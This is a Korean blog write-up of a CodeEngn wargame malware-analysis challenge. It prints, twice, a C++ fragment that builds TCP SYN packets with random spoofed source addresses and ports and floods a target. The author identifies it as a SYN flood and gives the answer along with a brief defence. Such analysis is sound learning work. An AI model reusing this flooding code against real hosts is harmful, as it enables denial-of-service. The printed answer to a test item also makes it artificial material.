1. 문제
다음 파일은 악성코드 소스의 일부분이다. 이것의 공격방법은 무엇인가
ex ) ddos (정답은 모두 소문자, 띄어쓰기 없음)
cpp 파일이 하나 주어진다. 코드 분석을 바로 들어가보자
2. 접근방법
addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort);
addr_in.sin_addr.s_addr=TargetIP;
ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;
lTimerCount=GetTickCount();
while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort);
psdHeader.daddr=ipHeader.destIP; // destination IP setting
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);
tcpHeader.th_sport=htons((rand()%1001)+1000); // source port rand generate
tcpHeader.th_seq=htons((rand()<<16)|rand());
psdHeader.saddr=ipHeader.sourceIP; // source IP setting
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); // 위에서 세팅한 psdHeader 구조체를 szSenBuf에 복사. 아마도
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); // TCP 헤더 복사
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;
if((GetTickCount()-lTimerCount)/1000>len) break;
if(bRandPort) { TargetPort=brandom(1000, 10000); } // target port rand generate
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
//source IP rand generate
Sleep(delay);
}
xClose(sock);
1번 문제라 그런지 쉽다. while 문 전의 과정은 패킷 전송을 위한 초기화 과정이라고 보면 된다. 간단히 보면
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(TargetPort);
addr_in.sin_addr.s_addr=TargetIP;
ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;
- struct sockaddr 구조체에다가 주소체계, 실 IP 를 저장한다.
- ipHeader, tcpHeader를 세팅한다
- Target IP, Target port 세팅
- tcp Header에서 flag를 2로 세팅 - 해당 패킷은 syn 패킷을 위함이다
이제 While 문을 돌면서 패킷을 계속 보낸다
while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort);
psdHeader.daddr=ipHeader.destIP; // destination IP setting
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);
tcpHeader.th_sport=htons((rand()%1001)+1000); // source port rand generate
tcpHeader.th_seq=htons((rand()<<16)|rand());
psdHeader.saddr=ipHeader.sourceIP; // source IP setting
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); // 위에서 세팅한 psdHeader 구조체를 szSenBuf에 복사. 아마도
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); // TCP 헤더 복사
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;
if((GetTickCount()-lTimerCount)/1000>len) break;
if(bRandPort) { TargetPort=brandom(1000, 10000); } // target port rand generate
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
//source IP rand generate
Sleep(delay);
}
코드가 쫌 이상하긴 한데 초기에 설정된 Target IP, Target Port와 Source IP, Source Port를 설정한다
- source IP는 ISpoofIP 변수를 이용하는데, 해당 변수는 매 루프마다 랜덤하게 생성된 IP이다
- target port 역시 1000 - 10000 사이의 랜덤하게 생성된 port이다
- source port 역시 랜덤하게 생성된다
- sendto로 ip+Tcp 헤더로 구성된 패킷을 보낸다. 왜냐하면 초기 세팅에서 tcp flag가 2였기 때문에
flag = 2 라는 소리는 syn flag가 set 되있단 소리이다. 만약 ack 패킷이라면 위 사진처럼 0x10가 flag 값일 것이다
3. 풀이
코드 분석을 통해 알아낸 정보는 다음과 같다.
랜덤한 IP와 랜덤한 Port로 타겟이 되는 IP에 랜덤한 Port에 패킷을 보낸다. 이 말은 Target에 열려있는 포트를 찾으려는 행위로 판단된다. 또한
뭔가 타겟에 지속적인 syn 패킷을 보내는데 이와 관련된 네트워크 기법들을 찾아보던 중 syn flood를 찾았다. tcp connection을 시도만 계속 하게끔 한다는 말은
위 그림과 같이 해커가 타겟이 되는 호스트에 지속적으로 패킷을 보내게 되면 tcp connection 부터 시작되는데 target에서 tcp 연결을 위해 syn+ack을 응답으로 보내지만 해커는 ack을 보내지 않는다.
즉 타겟은 tcp 연결을 하려고 계속 기다리고 있고, 그 때에도 해커는 랜덤한 IP와 port로 또 syn을 보내기 때문에 타겟 내부에서 버퍼가 넘치게 된다. 이를 syn flood 공격이라고 한다. 이도 어찌보면 dos인데 dos는 정답이아니네.. ㅋ
syn flood를 막으려면 syn 패킷의 개수를 제한해두고 그 이상이 들어오면 연결요청을 막아버리는 식으로 방어하면 된다.
SYN-Flood attack ⇒ Dos ⇒ Target의 자원 고갈 시키기
저렇게 정리하면 될듯
4. 몰랐던 개념
- none
'워게임 > CodeEngn' 카테고리의 다른 글
[CodeEngine] Malware Analysis L03 (0) | 2021.01.21 |
---|---|
[CodeEngine] Malware Analysis L02 (0) | 2021.01.20 |
[CodeEngine] Basic RCE L20 (0) | 2021.01.18 |
[CodeEngine] Basic RCE L19 (0) | 2021.01.13 |
[CodeEngine] Basic RCE L18 (0) | 2021.01.12 |
Uploaded by Notion2Tistory v1.1.0